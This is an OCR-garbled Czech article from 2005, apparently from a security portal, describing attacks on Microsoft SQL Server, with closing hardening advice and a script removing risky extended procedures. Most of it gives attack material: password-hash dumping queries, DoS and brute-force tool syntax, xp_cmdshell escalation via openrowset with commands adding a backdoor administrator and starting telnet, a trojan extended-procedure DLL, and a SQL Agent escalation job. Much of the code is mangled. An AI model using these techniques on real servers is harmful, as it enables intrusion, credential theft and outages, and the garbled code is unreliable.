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Metody utoku na Microsoft SQL servery

Vlozil/a cm311k1 [1], 24 Srpen, 2005 - 17:18

Cracking [2]
Hacking [3]
Hacking method [4]
SQL [5]

V tomto ¢lanku si ukdzeme postupy a nastroje pouzivané pfri utocich na MSSQL servery. PopiSeme si
pouzivané programy i procedury a na zaveér ¢lanku uvedu jednoduché postupy vedouci k vyssi
bezpecnosti serveru.

Budeme si informace a postupy vysvétlovat v bodech. Protoze nejsem pfitel dlouhého
okomentovavani tak prejdeme rovnou k véci ;o]

Zakladni informace

MS SQL servery bezi na portech: 1434 UDP, 1433 TCP

Hesla mohou byt uloZzena v téchto souborech: *.dsn, global.asa, application.cfm, sqlsp.log, setup.iis
Defaultni prihlasovaci jména:

sa - administratorskd prdva, po instalaci je standardné heslo prazdné

probe - stejné jako sa (u MSSQL 6 a 6.5)

dbo - vlastnik databaze

Utoky pomoci nastroju lamani hesel

SQLScanner zjistuje jestli bezi SQL server a zkousi se pfrihlasit pod Gc¢tem "sa" a prazdnym heslem.
Tento program stejné jako i vSechny zde popisované Ize stahnout na adrese
http://www.sqlsecurity.com [6]

Syntax:SQLScanner . exe [rozsah_ip] [adresa] [cesta_k_souboru_s_vysl edky]

SQLPing2 je podobny nastroj, ktery je navic rozsifen o moznost slovnikového Utoku (oba programy
jsou soucasti balicku SQLTools).

ForceSQL je poslednim zdstupcem programd, ktery vyuziva brute force Gtoku na pristupové heslo.

Informace z SQL serveru pri lokalnim pristupu

Sqlko ma svoji vlastni databazi (master), kde Ize nalézt hodné informaci o uzivatelich a ostatnich DB.
K ziskdni téchto informaci se staci prihlasit jako "public"

SELECT name FROM sysdatabases

SELECT name FROM syslogins

- pokud mame vétsi prava (vybere jména a hashe hesel uzivatel()

SELECT name, password FROM sysxlogins

- v kazdé databazi je tabulka "sysobjects" ve které jsou informace o objektech (tabulky, archivované
procedury, funkce atd.)

USE jmeno_databaze SELECT name, id FROM sysobjects WHERE type = P’

- systémova tabulka "tempdb". Oblas sem uzivatelé ukladaji objekty, archivacni procedury - ¢asto
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jako zadni vratka
SELECT text FROM tempdb.dbo.syscomments
- pro zaSifrovani hesel se pouziva funkce pwdencrypt()
SELECT pwdencrypt('zvolene_heslo'
- generovani hashe hesla je zavislé na Case, aby nebyli rozpoznatelni uzivatelé se stejnym heslem
uvedme si priklad:
SELECT pwdencrypt ('test_pass'
wai tfor delay '00:00: 01
SELECT pwdencrypt('test pass'
wai tfor delay '00:00: 01
SELECT pwdencrypt('test pass' p

Vystup:

0x0100BA08C5533A9F85136534E90( zkr aceno) 7D1BB12010443024B96BFF76229289
0x0100BD0O8C17D50D214EF6295CA1( zkr aceno) 13FABAES5D502B9F2273A31C1622D
0x0100C008BE27ECDB3E50A61258E( zkr aceno) F77C6D39F3A26F32D99E7F6BA9F46

Takze se podivame na prvni postfehy. Hash hesla zacina 0x0100, je sloZzen pouze z velkych pismen.
To jésté neznamena nic v porovnani s faktem, Ze pokud takto zaSifrujete heslo, které se skldda
pouze z velkych pismen, tak na jeho konci budou dvé stejné 40 bitové sekvence. To znamend, ze v
hashy hesla je zahashovan jeden normalni tvar hesla a jeden tvar s velkymi pismeny. Pro rychlejsi
pochopeni pr. heslo méte "secret" a v hashy je zasifrované jak "secret" tak i "SECRET". Takze pfi
crackovani hashe mGzeme radikalné snizit dobu Utoku, protoze staci najit to heslo, které je ve tvaru
s velkymi pismeny.

DoS utoky na SQL

1)SQLOverflowDos.exe - Posild UDP paket se zacinajici hodnotou 0x04, ktery mlze cely systém
polozit. Pokud server prijme jako prvni paket s hodnotou 0x04, spojuje registr a zkousi vytvorit kli¢
HKLM/Software/Microsoft/Microsoft SQL Server/[nazev_serveru]/CurrentVersion. Pokud poSleme
velice dlouhy kli¢ tak mdze dojit k pfeplnéni bufferu. Utok projde i pfes firewall, protoze mdzeme
zménit zdrojovou IP adresu paketu.

Syntax: <p>SQLOverflowDos.exe [fakenuta_IP] [victim_sql]l</p>

2)SQL2.exe - Program s prevazné stejnou funkci jako SQLOverflowDos.

3)SQLDosStormz2.exe - Program posild paket s hodnotu Ox0A a sql server na tento paket odpovi
identickym paketem zaslanym na adresu odesilatele. Takze staci podvrhnout zdrojovou IP adresu za
adresu jineho MSSQL serveru a oba se vzajemné zahlti.

Syntax: <p>SQLDosStorm?2.exe [IP_sqglka] [soubor_s adresami] [pocet paketul</p>

4)sqlpoke.exe - umoznuje vykonat vzdéleny prikaz na SQL serveru (procedura
master..xp_cmdshell) viz. nize

Syntax: <p>sqlpoke.exe [pocatecni_rozsah_IP_adres] [koncovy_rozsah]
[cesta_k _souboru_s prikazy]</p>

Uchovavana procedura xp_cmdshell

- Xp_cmdshell umoznuje spustit vzdaleny prikaz na systému s pravy uzivatele na kterém beZi server.
Standardné je to administratorsky Ucet "SYSTEM"!

- xp_cmdshell nem{ze spustit normalni uzivatel. Pokud ale admin néco opomnél tak "muaze".
Ukazeme si jak.

- pokud normalni user vytvori proceduru, ma k ni full prava, takze staci do procedury volat
xp_cmdshell pomoci prikazu "openrowset".

(tuto proceduru by uzivatel nemél byt schopen execnout)
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<p>CREATE PROCEDURE #test _proc AS EXEC master..xp_cmdshell 'systeminfo >
%SYSTEMDRIVE%\sys.txt'</p>
(ale tuto jiz ano)
SELECT FROM openrowset (' SQLOLEDB','trusted_connection=yes;
data source=JMENO SQL_SERVERU; ', ' SET fntonly OFF
EXEC naster..xp_cndshell ''tasklist >
YSYSTEMDRI VE% bezi ci _procesy. txt'"'

- prikaz OpenRowSet umozniuje spusténi nenalinkované operace na vzdaleném serveru. SQL server
se prihlasi ke vzdalenému serveru a provede operace pozadované uzivatelem. Kdyz vSak donutime
server, aby se prihlasil sdm na sebe, tak dokdzeme vykonat prikazy s vyssimi pravy nez ma sdm
uzivatel.

- pokud tento pristup ziskate, Ize jiz velice snadno ziskat pristup do systému:

xp_cmdshel I ' net user craxOr password /add'
xp_cmdshel I ' net |ocal group administrators craxOr /add'
xp_cmdshell 'net start telnet'

Pole xstatus

- v tabulce sysxlogins je hodnota pole xstatus pro tyto zaznamy nastavena na 22. Pole xstatus
definuje druh loginu, kterym je urcena poloZzka v tabulce sysxlogins. Zménou tohoto statusu na 18 se
uto¢nik madze prihlasit libovolnym loginem patricim administratorovi bez nutnosti zadavat heslo!

Sniffovani serveru

Pokud ziskdme pristup na server a chtéli bychom zjistit i hesla ostatnich uzivatell, tak stac¢i vyuzit
programu SQLServerSniffer (taktéz soucast balicku SQLTools).
Syntax: <p>SQLServerSniffer.exe [porty_k naslouchani] [cesta_k _souboru_s_vysledky]</p>

- Jde o tento problém. Kdyz se uzivatel autentizuje na serveru (mixed mode) tak pres sit by méli jit
prihlasovaci Udaje "Sifrované". Ale kdyz se |épe podivame, uvidime Ze se vlastné o Sifrovani viibec
nejedna. Heslo je pouze prevedeno do formatu UNICODE a nasledné je tento string prohozen funkci
XOR. Druhym argumentem je hodnota 0xA5, coz Ize jednoduse urcit, protoze kazdy druhy Bajt hesla
md tuto hodnotu. Z toho jednodusSe vyplivd moznost pohodiného odposlouchdvani hesel pfimo na
serveru.

Fakeovani externich procedur

Jak jsme jiz mluvili o externi procedure xp_cmdshell tak externich procedur (zacinaji na "xp_") je
mnohem vic, pficemz k nékterym ma pristup i obycejny uzivatel public. Dale je nutné védét, ze tyto
procedury se nacitaji v dobé, kdyz jsou zavolany uzivatelem. Jednd se predevsim o nalinkované DLL
knihovny.

priklad: pokud jsme napf. odstranili proceduru xp_cmdshell a chtéli bychom ji znovu nacist

EXEC sp_addext endedproc 'xp_cndshell', "C \Program Fi |l es\M crosoft SQL
Server\ MsSQL\ Bi nn\ xpl og70.dl |

TakZze mozna uz tusite o co mi jde. Samozrejmé vyuzijeme proceduru, kterou mize execnout i
uzivatel public. Takovym prikladem muUze byt napriklad "xp_showcolv". Pokud dokdZzeme zaménit
originalni DLL knihovnu procedury xp_showcolv za nasi, tak toho Ize vyuzit jako celkem
nenapadného backdooru, Ci procedury k eskalaci prav. Nize uvadim jednoduchého trojského koné od
Davida Litchfielda (NGSSoftware), ktery je opravdovym mistrem v odkryvani nedostatkl MSSQL
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serverl a jinych sitovych aplikaci.

/1 Very sinple Extended Stored Procedure trojan

/'l Conpil e:

/'l C\>cl /LD xprepl.c /link odbc32.1ib

/] David Litchfield

/'l <a href="mailto: davi d@égssoftware. com >davi d@gssoftware. conx/ a>

#i ncl ude <stdi o. h>
#i ncl ude <srv. h>
__decl spec(dll export) ULONG __ Get XpVersi on()

{
1;
}
__decl spec(dl | export) SRVYRETCODE xp_showcol v( SRV_PROC* pSrvProc)
{

system " nmycomrand") ;
(1);

Zneuziti SQL Agenta

SQL Agent umozhuje to co v unixu cron a tim je pldnovani Uloh za konkrétnim Gcelem nap¥. zalohy
databdze, sprava tabulek, vytvareni statistik atd. Takze timto je funkce Agenta vysvétlend. SQL
Agent ma ale vétsi prava nez samotny uzivatel databdze, z Cehoz opét vyplivd, Ze urdité existuje
zpUsob jak toho vyuzit v nds prospéch. Samozrejmé je tomu tak. NiZze uvadim script od jiz
jmenovaného Davida Litchfielda, ktery staci pozménit (SERVER_NAME) spustit v Query Analyzeru a

vs 7

kéd vytvori kol pro Agenta.

-- Cet Syst enOnSQL

-- For this to work the SQL Agent shoul d be running.
-- Further, you'll need to change SERVER NAME in

-- sp_add jobserver to the SQ. Server of your choice

-- David Litchfield

-- (<a href="nmmil to:davi d@ngssoftware. cont >davi d@gssoft ware. conx/ a>)
-- 18th July 2002

USE nsdb

EXEC sp_add_j ob @ ob_nane ' Get Syst enOnSQL’

@nabl ed 1
@lescription "This will give a low privileged user access to xp_cndshel |
@lel ete_| evel 1

EXEC sp_add_j obstep @ ob_nane ' Get Syst enOnNSQL

@tep_nane = 'Exec ny sql’

@ubsystem = ' TSQ.'

@onmand 'exec nmaster..xp_execresultset N 'select exec
master..xp_cndshell "dir > c:\agent-job-results.txt""""'""" N 'Master'"'

EXEC sp_add_j observer @ob_nane ' Get Syst enOnSQL
@erver _name ' SERVER_NANME'
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EXEC sp_start_j ob @ ob_nane ' Get Syst enONSQL’

Utoky na webové aplikace

Konkrétné mam na mysli Gtoky typu SQL injection, kdy vétsina tvircl webovych stranek nikterak
nekontroluje odemetnost vstupnich dat. Utoky tohoto typu jsou mnohem &astéjéi nez 1dmani hesel
apod. Na Internetu Ize nalézt ohromnou spoustu nedostatk( v kédu stranek, které umoznuji tento typ
Utoku a to i mezi firmamy, kterym klienti plati statisice za velice pochybny a déravy webovy systém.
Jak se rikd na lidské hlouposti se d& skvéle vydélat (a kdo Ze je nejbohatsi ¢lovék na svété? ;ol). Ja
vSak nejsem cloveék, ktery by se k tomuto tématu mohl pIné vyjadrit, a proto vSem doporucuji precist
si pogikdv ¢lanek (SQL Injection) [7] vénujici se tomuto tématu.

Zabezpeceni serveru

Uz se blizime k finale ¢lanku, kde se budu snazit popsat jak minimalizovat rizika napadenfi serveru.

- Pri pristupu k autentizaci uzivateld na SQL server pouzivat misto "Mixed médu" mnohem

- Na tvorbu a spravu webovych stranek/aplikaci zaméstnat schopného programatora, kterému pojem
bezpecnost neni cizi!

- Pokud to neni nutné tak vypnout/zakazat pouzivani SQL Agenta.

- Omezit pfistup na firewallu.

- Aplikovat dostupné patche.

Smazani nebezpecnych externich procedur

VétSina lokalnich Gtoku se todi kolem externich procedur, takze urdité nebude od véci odstranit
nékteré z téch, které jsou povazované za nebezpecné a v praxi se bezné vibec nepouzivaiji.

s v

(k jejich smazani je nutné mit prava sysadmina, v komentarich jsou popsany funkce procedur)

USE nmst er
EXEC sp_dr opext endedproc ' xp_aval i ablenedia' /* infornmace o discich */
go

EXEC sp_dropext endedpr oc
procedur */

go

EXEC sp_dr opext endedpr oc
go

EXEC sp_dr opext endedpr oc
*/

xp_cmdshel I'' /* spust?ni p?ikazu ?i zneuZiti jinych

xp_dirtree' /* informace o struktu?e slozek */

Xp_enundsn' /* unpz?uje p?e?ist informace o zdrojich ODBC

g;EC sp_dr opext endedproc ' xp_enunerrorlogs' /* ?teni chybovéeho | ogu */

giEC sp_dr opext endedproc ' xp_enungroups' /* unpz?uje p?e?ist informace o skupinach */
E;EC sp_dropextendedproc 'xp_getfiledetails' /* zobrazeni detailu souboru */

E;EC sp_dropext endedproc ' xp_fixeddrives

E;EC sp_dropext endedproc ' xp_|l ogi nconfi g’

E;EC sp_dr opext endedproc ' xp_nmekecab' /* unpz?uje vytvo?eni archivu */

go

EXEC sp_dr opext endedpr oc
kterym pracuje server */

go

Xp_nt sec_enundomai ns' /* zobrazuje infornace o donménach, se
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EXEC sp_dropext endedproc 'xp_regaddrmul tistring' /* zapiSe do registru nultistring */

go

EXEC sp_dropext endedproc ' xp_regdel etekey' /* smaze kli? v registru */

go

EXEC sp_dropext endedproc ' xp_regdel eteval ue' /* snmaZze hodnotu kli?e v registru */

go

EXEC sp_dr opext endedproc ' xp_regread" /* ?teni registru */

go
EXEC sp_dropext endedproc ' xp_regrenovenul tistring'
*/
go

EXEC sp_dropextendedproc 'xp _regwite' /* zapis do registru */

go

EXEC sp_dropext endedproc ' xp_regenunval ues' /* zobrazeni

go

EXEC sp_dropextendedproc 'xp_term nate_process' /* killnuti

PID */
go

/* a pro uplné paranoi ky, odeberene proceduru, kterd& by dokazal a znovu na?i st

procedury */
DROP PROCEDURE ' sp_addext endedpr oc'

go

Zdroj:

SQLSecurity.com, http://www.sqglsecurity.com [6]
SQL Server Magazine, http://www.sglmag.com [8]
Xfocus Security Portal, http://www.xfocus.org [9]

URL clanku: https://security-portal.cz/clanky/metody-%C3%BAtok%C5%AF-na-microsoft-sql-servery

/* odstrani

z registru multistring

registru */

argumentem j e
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